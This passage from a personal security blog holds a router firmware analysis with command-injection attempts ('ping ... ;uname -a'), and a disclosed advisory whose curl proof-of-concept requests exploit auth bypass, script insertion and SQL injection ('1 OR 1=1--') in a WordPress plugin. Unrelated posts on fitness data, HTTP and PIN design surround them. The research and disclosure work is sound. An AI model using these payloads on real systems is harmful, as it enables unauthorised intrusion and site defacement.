<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">SystemCmd</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">cmdMethod</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">" "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">destIP</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">validForm</span><span class="p">()){</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">submit</span><span class="p">();</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="s2">"checkCmdRet();"</span><span class="p">,</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">checkCmdRet</span><span class="p">(){</span>
<span class="w"> </span><span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s1">'/cmdRet_check.htm'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">dataType</span><span class="o">:</span><span class="w"> </span><span class="s1">'html'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">error</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">xhr</span><span class="p">){</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="s2">"checkCmdRet();"</span><span class="p">,</span><span class="w"> </span><span class="mf">1000</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">success</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">retArea</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"textarea"</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">_cmdBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"cmdBtn"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">search</span><span class="p">(</span><span class="s2">"XU6J03M6"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">){</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="nx">retArea</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">response</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">"XU6J03M6"</span><span class="p">,</span><span class="w"> </span><span class="s2">" "</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="o"><</span><span class="nx">span</span><span class="o">><</span><span class="nx">input</span><span class="w"> </span><span class="kd">class</span><span class="o">=</span><span class="s2">"button_gen_long"</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"cmdBtn"</span><span class="w"> </span><span class="nx">onClick</span><span class="o">=</span><span class="s2">"onSubmitCtrl(this, ' Refresh ')"</span><span class="w"> </span><span class="nx">type</span><span class="o">=</span><span class="s2">"button"</span><span class="w"> </span><span class="nx">value</span><span class="o">=</span><span class="s2">"<#1672#>"</span><span class="o">><</span><span class="err">/span></span>
<span class="o"><</span><span class="nx">textarea</span><span class="w"> </span><span class="nx">cols</span><span class="o">=</span><span class="s2">"63"</span><span class="w"> </span><span class="nx">rows</span><span class="o">=</span><span class="s2">"27"</span><span class="w"> </span><span class="nx">wrap</span><span class="o">=</span><span class="s2">"off"</span><span class="w"> </span><span class="nx">readonly</span><span class="o">=</span><span class="s2">"readonly"</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"textarea"</span><span class="w"> </span><span class="p">...</span><span class="o">></span>
<span class="w"> </span><span class="o"><%</span><span class="w"> </span><span class="nx">nvram_dump</span><span class="p">(</span><span class="s2">"syscmd.log"</span><span class="p">,</span><span class="s2">"syscmd.sh"</span><span class="p">);</span><span class="w"> </span><span class="o">%></span>
<span class="o"><</span><span class="err">/textarea></span>
<span class="err">#</span><span class="w"> </span><span class="nx">Contents</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">cmdRet_check</span><span class="p">.</span><span class="nx">htm</span>
<span class="o"><%</span><span class="w"> </span><span class="nx">nvram_dump</span><span class="p">(</span><span class="s2">"syscmd.log"</span><span class="p">,</span><span class="s2">""</span><span class="p">);</span><span class="w"> </span><span class="o">%></span>
</code></pre></div></td></tr></table></div>
<p>The first impression looks good, input checking is done client side. My aim is to get to Line 16 so I just need to change <code>cmdMethod</code> variable to <code>cat</code> and <code>destIp</code> variable to <code>/tmp/etc/shadow</code>. However, it didn't work. Upon closer inspection, I noticed something interesting on Line 35. I decided to grep all firmware files for the string <code>XU6J03M6</code>. The only other place where the string was found was in the binary file /usr/sbin/httpd{s}. Initially, I thought that the file was a generic apache binary, however it was not so. The following strings were found in the binary.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span></pre></div></td><td class="code"><div><pre><span></span><code>[0x004043a0]> pd 10 @0x44b23c
;-- str.tmp__s:
0x0044b23c .string "/tmp/%s" ; len=8
;-- str.syscmd.sh:
0x0044b244 .string "syscmd.sh" ; len=10
;-- hit0_0:
0x0044b245 797363 unaligned
0x0044b246 7363 unaligned
0x0044b247 63 unaligned
0x0044b248 6d642e73 invalid
0x0044b24c 68000000 invalid
;-- str.s____tmp_syscmd.log_2__1____echo__XU6J03M6______tmp_syscmd.log:
0x0044b250 .string "%s > /tmp/syscmd.log 2>&1 && echo 'XU6J03M6' >> /tmp/syscmd.log &\n" ; len=67
0x0044b293 00 unaligned
;-- str.tmp_syscmd.log:
0x0044b294 .string "/tmp/syscmd.log" ; len=16
[0x004043a0]> pd 20 @0x44e118
;-- str.httpd__Invalid_SystemCmd:
0x0044e118 .string "[httpd] Invalid SystemCmd!\n" ; len=28
;-- hit2_2:
0x0044e128 53797374 jalx 0x1cde54c
0x0044e12c 656d436d invalid
0x0044e130 64210a00 invalid
;-- str.Main_Netstat_Content.asp:
0x0044e134 .string "Main_Netstat_Content.asp" ; len=25
0x0044e14d 000000 unaligned
0x0044e14e 0000 unaligned
0x0044e14f 00 unaligned
;-- str.netstat:
0x0044e150 .string "netstat" ; len=8
;-- str.Main_Analysis_Content.asp:
0x0044e158 .string "Main_Analysis_Content.asp" ; len=26
0x0044e172 0000 unaligned
0x0044e173 00 unaligned
;-- str.ping:
0x0044e174 .string "ping" ; len=5
0x0044e179 000000 unaligned
0x0044e17a 0000 unaligned
0x0044e17b 00 unaligned
;-- str.traceroute:
;-- hit1_0:
0x0044e17c .string "traceroute" ; len=11
0x0044e187 00 unaligned
;-- str.nslookup:
0x0044e188 .string "nslookup" ; len=9
0x0044e191 000000 unaligned
</code></pre></div></td></tr></table></div>
<p>I telneted into the router and confirmed that /tmp/syscmd.log was being populated with the output of the command. <code>XU6J03M6</code> was used to mark the end of the file. I was able to get output from other commands to display on the webpage by writing into /tmp/syscmd.log while the ping was ongoing. However, I could not find <code>syscmd.sh</code> anywhere on the file system even when ping was running. I believe the httpd binary does further whitelisting of <code>SystemCmd</code> as evidenced by the string <code>[httpd] Invalid SystemCmd!</code> which explains why <code>cat</code> fails to work. Without further reverse engineering, there is no way to find out, I was unable to find the function making the system call. The whitelisting seems relatively secure, I have tried the following without any success.</p>
<ul>
<li>ping -c5 google.com;uname -a</li>
<li>ping -c5 google.com\nuname -a</li>
<li>ping -c5 google.com(null byte)uname -a</li>
</ul>Visualizing fitness tracker data2018-03-04T12:33:00+08:002018-03-04T12:33:00+08:00Benjamin Limtag:limbenjamin.com,2018-03-04:/articles/visualizing-fitness-tracker-data.html<p>I recently started wearing a fitness band and wanted to visualize the activity data in a heatmap format. This article will go through my thought process in deciding how to parse the data. It is not intended to be a copy and paste tutorial since the fitness band, app and …</p><p>I recently started wearing a fitness band and wanted to visualize the activity data in a heatmap format. This article will go through my thought process in deciding how to parse the data. It is not intended to be a copy and paste tutorial since the fitness band, app and visualization library I choose is likely to be different. One of my key considerations when purchasing devices is the ability to export data into a open format, as this allows me to process it any way I like.</p>
<p>Firstly, I chose to visualize the data using highcharts.js library. The library expects a CSV file in the following format. Each row represents a 10 minute interval. I clocked 38 steps from 12.40pm to 12.50pm and 20 steps from 1 to 1.10pm.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code> Date,Time,IndiSteps
2017-12-16,12.30,0
2017-12-16,12.40,38
2017-12-16,12.50,0
2017-12-16,13.0,20
2017-12-16,13.10,0
</code></pre></div></td></tr></table></div>
<p>The raw data exported from the fitness tracker app took on the following format. Step data was exported separately from sleep data. The first issue I had to solve was to get the individual steps for each time interval from the cumulative steps logged by the app. This was quickly done using an excel formula <code>=IF(A3=A2,C3-C2,0)</code> which checked to see if the next row was the same date, and if it was, deduct the current step count from the next row's step count. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span></pre></div></td><td class="code"><div><pre><span></span><code> #steps.csv
Date,Time,CumulativeSteps,IndiSteps
2017-12-16,12:31:00,0,38
2017-12-16,12:41:00,38,0
2017-12-16,12:51:00,38,20
2017-12-16,13:09:00,58,0
2017-12-16,13:19:00,58,0
#sleep.csv
start,end,type
13/12/2017 01:39:00,13/12/2017 02:02:00,Light sleep
13/12/2017 02:02:00,13/12/2017 03:19:00,Deep sleep
13/12/2017 03:19:00,13/12/2017 03:34:00,Light sleep
</code></pre></div></td></tr></table></div>
<p>Once I was able to retrieve the individual step count for each interval, the next steps were more complicated and required a powershell script. The first step involved rounding off all timestamps to the nearest 10 minutes. I then used the rounded off timestamp as a key and the step count as the value and stored it in a hashtable. sleep.csv required a bit more work. Because the app only exported the start and end time of each sleep, I rounded off the start and end times to the nearest 10 minutes and then started iterating and generating a timestamp every 10 minute. I set the step count to -1 to indicate light sleep and -2 to indicate deep sleep. Using the rounded off timestamp as a key again, I updated the hashtable with the value for sleep intervals.</p>
<p>The reason why I needed to round off to the nearest 10 mins is to ensure the same start and end point for each interval for both steps and sleep. If I had not done so, my hashtable would have entries of -1,0,-1,0 interspersed at 10 min intervals during sleep time. The reason why I chose to overwrite step data with sleep data is because step data existed for the entire 24 hours while sleep data existed for only sleep duration. If I had done it the other way round, all sleep data would have been completely overwritten by step data. A hashset was used because it guarantees only one data point for each interval. Hence, the datapoint for sleep will not be added alongside the one for steps.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="nv">$hashTable</span> <span class="p">=</span> <span class="p">@{}</span>
<span class="nv">$times</span> <span class="p">=</span> <span class="nb">import-csv</span> <span class="s2">"steps.csv"</span>
<span class="k">ForEach</span> <span class="p">(</span><span class="nv">$time</span> <span class="k">in</span> <span class="nv">$times</span><span class="p">){</span>
<span class="nv">$indisteps</span> <span class="p">=</span> <span class="p">$(</span><span class="nv">$time</span><span class="p">.</span><span class="n">IndiSteps</span><span class="p">)</span>
<span class="nv">$date</span> <span class="p">=</span> <span class="p">$(</span><span class="nv">$time</span><span class="p">.</span><span class="n">Date</span><span class="p">)</span>
<span class="nv">$string</span> <span class="p">=</span> <span class="p">$(</span><span class="nv">$time</span><span class="p">.</span><span class="n">Time</span><span class="p">)</span>
<span class="nv">$startdate</span><span class="p">=</span><span class="no">[datetime]</span><span class="p">::</span><span class="n">ParseExact</span><span class="p">(</span><span class="nv">$date</span><span class="p">,</span> <span class="s2">"dd-MMM-yy"</span><span class="p">,</span> <span class="nv">$null</span><span class="p">)</span>
<span class="nv">$starttime</span><span class="p">=</span><span class="no">[datetime]</span><span class="p">::</span><span class="n">ParseExact</span><span class="p">(</span><span class="nv">$string</span><span class="p">,</span> <span class="s2">"h:mm:ss tt"</span><span class="p">,</span> <span class="nv">$null</span><span class="p">)</span>
<span class="nv">$newtime</span> <span class="p">=</span> <span class="nv">$starttime</span><span class="p">.</span><span class="n">AddMinutes</span><span class="p">(-(</span><span class="nv">$starttime</span><span class="p">.</span><span class="n">minute</span> <span class="p">%</span> <span class="n">10</span><span class="p">))</span>
<span class="nv">$key</span> <span class="p">=</span> <span class="nv">$startdate</span><span class="p">.</span><span class="n">tostring</span><span class="p">(</span><span class="s2">"yyyy-MM-dd,"</span><span class="p">)</span> <span class="p">+</span> <span class="nv">$newtime</span><span class="p">.</span><span class="n">tostring</span><span class="p">(</span><span class="s2">"H.m,"</span><span class="p">)</span>
<span class="nv">$hashTable</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="p">=</span> <span class="nv">$indisteps</span>
<span class="p">}</span>
<span class="nv">$times</span> <span class="p">=</span> <span class="nb">import-csv</span> <span class="s2">"sleep.csv"</span>
<span class="k">ForEach</span> <span class="p">(</span><span class="nv">$time</span> <span class="k">in</span> <span class="nv">$times</span><span class="p">){</span>
<span class="nv">$start</span> <span class="p">=</span> <span class="p">$(</span><span class="nv">$time</span><span class="p">.</span><span class="n">start</span><span class="p">)</span>
<span class="nv">$end</span> <span class="p">=</span> <span class="p">$(</span><span class="nv">$time</span><span class="p">.</span><span class="k">end</span><span class="p">)</span>
<span class="nv">$startdate</span><span class="p">=</span><span class="no">[datetime]</span><span class="p">::</span><span class="n">ParseExact</span><span class="p">(</span><span class="nv">$start</span><span class="p">,</span> <span class="s2">"dd/MM/yyyy HH:mm:ss"</span><span class="p">,</span> <span class="nv">$null</span><span class="p">)</span>
<span class="nv">$startdate</span><span class="p">.</span><span class="n">AddMinutes</span><span class="p">(-(</span><span class="nv">$startdate</span><span class="p">.</span><span class="n">minute</span> <span class="p">%</span> <span class="n">10</span><span class="p">))</span>
<span class="nv">$enddate</span><span class="p">=</span><span class="no">[datetime]</span><span class="p">::</span><span class="n">ParseExact</span><span class="p">(</span><span class="nv">$end</span><span class="p">,</span> <span class="s2">"dd/MM/yyyy HH:mm:ss"</span><span class="p">,</span> <span class="nv">$null</span><span class="p">)</span>
<span class="nv">$enddate</span><span class="p">.</span><span class="n">AddMinutes</span><span class="p">(-(</span><span class="nv">$enddate</span><span class="p">.</span><span class="n">minute</span> <span class="p">%</span> <span class="n">10</span><span class="p">))</span>
<span class="nv">$tmpdate</span> <span class="p">=</span> <span class="nv">$startdate</span><span class="p">.</span><span class="n">AddMinutes</span><span class="p">(-(</span><span class="nv">$startdate</span><span class="p">.</span><span class="n">minute</span> <span class="p">%</span> <span class="n">10</span><span class="p">))</span>
<span class="k">while</span><span class="p">(</span><span class="nv">$tmpdate</span> <span class="o">-le</span> <span class="nv">$enddate</span><span class="p">){</span>
<span class="nv">$tmpdate</span> <span class="p">=</span> <span class="nv">$tmpdate</span><span class="p">.</span><span class="n">AddMinutes</span><span class="p">(</span><span class="n">10</span><span class="p">)</span>
<span class="nv">$key</span> <span class="p">=</span> <span class="nv">$tmpdate</span><span class="p">.</span><span class="n">tostring</span><span class="p">(</span><span class="s2">"yyyy-MM-dd,H.m,"</span><span class="p">)</span>
<span class="k">If</span><span class="p">(</span><span class="nv">$type</span> <span class="o">-eq</span> <span class="s2">"Light sleep"</span><span class="p">){</span>
<span class="nv">$hashTable</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="p">=</span> <span class="s2">"-1"</span>
<span class="p">}</span>
<span class="k">ElseIf</span><span class="p">(</span><span class="nv">$type</span> <span class="o">-eq</span> <span class="s2">"Deep sleep"</span><span class="p">){</span>
<span class="nv">$hashTable</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="p">=</span> <span class="s2">"-2"</span>
<span class="p">}</span>
<span class="k">ElseIf</span><span class="p">(</span><span class="nv">$type</span> <span class="o">-eq</span> <span class="s2">"Awake"</span><span class="p">){</span>
<span class="nv">$hashTable</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="p">=</span> <span class="s2">"0"</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$hashTable</span><span class="p">.</span><span class="n">GetEnumerator</span><span class="p">()</span> <span class="p">|</span> <span class="nb">sort </span><span class="n">-Property</span> <span class="n">key</span> <span class="p">|</span> <span class="nb">Out-File</span> <span class="n">out</span><span class="p">.</span><span class="n">csv</span>
</code></pre></div></td></tr></table></div>
<p>One final tweak was required for the charting library to display sleep data distinctly from step data. After all, we do not want -1 and -2 step (which is sleep) to look very similar to 0 step. This was achieved by setting the percentile of the different color stops. 0th percentile which corresponds to -2, or deep sleep will be displayed as black (#000) while 0.002th percentile which is -1, or light sleep will be displayed as grey. Anything onwards will be displayed as blue. The rest of the color stops were unchanged, with yellow for moderate activity (50th percentile) and red for high activity (100th percentile).</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span></pre></div></td><td class="code"><div><pre><span></span><code>colorAxis: {
stops: [
[0, '#000'],
[0.002, '#535353'],
[0.003, '#3060cf'],
[0.5, '#fffbbc'],
[0.9, '#c4463a'],
[1, '#c4463a']
],
min: -2,
max: 497,
</code></pre></div></td></tr></table></div>
<p><img alt="image" src="//limbenjamin.com/media/fitnesstracker.jpg"></p>Deprecating HTTP - Lessons from SSH/Telnet2018-02-17T20:02:00+08:002018-02-17T20:02:00+08:00Benjamin Limtag:limbenjamin.com,2018-02-17:/articles/deprecating-http-lessons-from-ssh-telnet.html<p>Recently, both Firefox and Chrome has been coming down hard on HTTP websites. According to this <a href="https://security.googleblog.com/2018/02/a-secure-web-is-here-to-stay.html">article</a>, HTTP will be labelled as "Not Secure". This is hardly the first step, HTTP only websites have already had their search ranking penalised, and more stringent measures will surely be put in place …</p><p>Recently, both Firefox and Chrome has been coming down hard on HTTP websites. According to this <a href="https://security.googleblog.com/2018/02/a-secure-web-is-here-to-stay.html">article</a>, HTTP will be labelled as "Not Secure". This is hardly the first step, HTTP only websites have already had their search ranking penalised, and more stringent measures will surely be put in place. But will HTTP die out completely? I doubt so. </p>
<p>Taking a lesson from the history books, we observe a similar happening with Telnet and SSH some years back. Telnet has been around since the infancy on the internet, back when everyone knew everyone else on the network and where there were no security concerns. SSH came around in the 1990s, when the internet started growing exponentially and there were concerns of traffic sniffing by malicious actors in semi-trusted networks such as universities and internet cafes. Telnet is still very much alive today. Most network devices have them built in, the cheaper routers given out by your ISP likely even has them enabled by default. </p>
<p>I believe HTTP will very likely follow the path of telnet and will never die out completely. One reason being, the beauty about protocols like Telnet and HTTP is its simplicity. Apart from some control characters, both protocols are in plaintext, which makes debugging simple. I can easily open a TCP connection to port 80 of a web server, send <code>GET / HTTP/1.0</code> and receive a readable output. The situation is not as simple with HTTPS. As we move forward with SSL/TLS, old protocols will start getting deprecated. I have seen web servers in public supporting only TLS1.1/1.2, which causes cipher mismatch issues on quite a lot of older browsers. The complexity extends beyond that, there is SNI, cert pinning and other issues which may affect the ability to access the website. </p>
<p>I am definitely in favour of moving to HTTPS. My own website already has HSTS configured for quite a while. Despite that, a simple query of my access logs <code>cat /var/log/apache2/access.log | grep -v "bot"</code> reveal that there is still substantial HTTP traffic to my site. Guess I won't be closing port 80 anytime soon.</p>Top 2000 Wordpress Plugins2018-01-20T14:16:00+08:002018-01-20T14:16:00+08:00Benjamin Limtag:limbenjamin.com,2018-01-20:/articles/top-2000-wp-plugins.html<p><link rel="stylesheet" type="text/css" href="/js/datatables.min.css"/></p>
<script type="text/javascript" src="/js/datatables.min.js"></script>
<p>The top 2000 Wordpress plugins by popularity. 2419 to be exact, all plugins with at least 5000+ active installs. List is accurate as of 20 Jan 2018. Interestingly, I could not find something similar online. The Wordpress plugins site does not allow sorting by popularity.</p>
<table id="plugins" class="display" cellspacing="0" width="100%">
<thead>
<tr>
<th>Name</th>
<th>Active Installs</th>
<th>Last Updated …</th></tr></thead></table><p><link rel="stylesheet" type="text/css" href="/js/datatables.min.css"/></p>
<script type="text/javascript" src="/js/datatables.min.js"></script>
<p>The top 2000 Wordpress plugins by popularity. 2419 to be exact, all plugins with at least 5000+ active installs. List is accurate as of 20 Jan 2018. Interestingly, I could not find something similar online. The Wordpress plugins site does not allow sorting by popularity.</p>
<table id="plugins" class="display" cellspacing="0" width="100%">
<thead>
<tr>
<th>Name</th>
<th>Active Installs</th>
<th>Last Updated</th>
<th>Tag</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Name</th>
<th>Active Installs</th>
<th>Last Updated</th>
<th>Tag</th>
</tr>
</tfoot>
</table>
<script>
$(document).ready(function() {
$('#plugins').DataTable( {
"ajax": '/js/wp-plugins.json',
"order": [[ 1, "desc" ]]
} );
} );
</script>Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi2018-01-01T10:27:00+08:002018-01-01T10:27:00+08:00Benjamin Limtag:limbenjamin.com,2018-01-01:/articles/smart-google-code-inserter-auth-bypass.html<p>Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi<br>
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/<br>
Date: 26-Nov-17<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: http://oturia.com/<br>
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/<br>
Version: 3.4<br>
Tested on: Kali Linux 2.0<br>
CVE : CVE-2018-3810 (Authentication Bypass with resultant …</p><p>Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi<br>
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/<br>
Date: 26-Nov-17<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: http://oturia.com/<br>
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/<br>
Version: 3.4<br>
Tested on: Kali Linux 2.0<br>
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)<br>
CVE : CVE-2018-3811 (SQL Injection) </p>
<h1>1. Product & Service Introduction:</h1>
<p>Smart Google Code Inserter is a Wordpress plugin that makes it easy to add Google Analytics tracking code as well as meta tag verification of Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and has 9,000+ active installs. </p>
<h1>2. Technical Details & Description:</h1>
<p>Authentication Bypass vulnerability in the Smart Google Code Inserter plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript or HTML code which runs on all pages served by Wordpress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code. </p>
<p>SQL Injection vulnerability, when coupled with the Authentication Bypass vulnerability in the Smart Google Code Inserter plugin 3.4 allows unauthenticated attackers to execute SQL queries in the context of the webserver. The saveGoogleAdWords() function in smartgooglecode.php did not use prepared statements and did not sanitize the $_POST["oId"] variable before passing it as input into the SQL query. </p>
<h1>3. Proof of Concept (PoC):</h1>
<p>Code Insertion </p>
<p><code>curl -k -i --raw -X POST -d "sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode" "http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded"</code></p>
<p>SQL Injection </p>
<p><code>curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR 1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded"</code></p>
<h1>4. Mitigation</h1>
<p>Update to version 3.5 </p>
<h1>5. Disclosure Timeline</h1>
<p>2017/11/29 Vendor contacted<br>
2017/11/30 Vendor acknowleged and released an update<br>
2018/01/01 Advisory released to the public </p>
<h1>6. Credits & Authors:</h1>
<p>Benjamin Lim - [https://limbenjamin.com] </p>Designing an offline authentication system2017-12-10T15:37:00+08:002017-12-10T15:37:00+08:00Benjamin Limtag:limbenjamin.com,2017-12-10:/articles/designing-an-offline-auth-system.html<p>I have recently got to know of the igloohome digital lock. It is completely offline and connects to the app via bluetooth only. No internet connection. One of the most puzzling features is that the owner can remotely generate a PIN code, valid for a certain duration, and have it …</p><p>I have recently got to know of the igloohome digital lock. It is completely offline and connects to the app via bluetooth only. No internet connection. One of the most puzzling features is that the owner can remotely generate a PIN code, valid for a certain duration, and have it be effective immediately without even connecting to the lock to sync the PIN. I am not the only curious one, enough customers have asked and igloohome has written a <a href="//www.igloohome.co/blog/how-it-works/smart-digital-lock-without-internet/">post</a> about it. However, the post skips over the technical details and only mentions that all required information is stored in the PIN code. </p>
<p>The engineering challenge is to encrypt a datetime (e.g. 9am 10 Dec 2017) and a duration (10 mins) and encode it in only 8 digits. Hashing is out of the question since the lock needs to be able to access the information in plaintext. An MRT ride later, I managed to come up with a way to do it. </p>
<div class="admonition other">
<p class="admonition-title">Disclaimer</p>
<p>I do not own any igloohome products. I did not reverse engineer their product. I do not know if they are using a similar method or something totally different. This is how I would do it if I was tasked with such a challenge.</p>
</div>
<p>The architecture would be as such. PIN code generation will take place server side. The information will be encoded and encrypted on the server before being sent to the client. Client will share the encrypted PIN code with the guest who will type it into the lock. The hardware in the lock will handle the decryption and decoding. Hence, there is a lower probability of the algorithm being leaked due the reverse engineering of the client. </p>
<h1>Encoding</h1>
<p>The first problem is the encoding problem. With only 8 digits to play with, epoch time is out of the question. My solution involves using a modified version of epoch time, number of 5 minute block elapsed since Jan 1 2015 UTC. This is how I would encode the information. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span></pre></div></td><td class="code"><div><pre><span></span><code> XYYYYYYZ
X - Type of PIN code
0 - permanent PIN code
1 - one time PIN code
2 - duration PIN code (10 min)
3 - duration PIN code (30 min)
...
9 - duration PIN code (1 year)
Y - Number of 5 minute block elapsed since Jan 1 2015 UTC (6 digits)
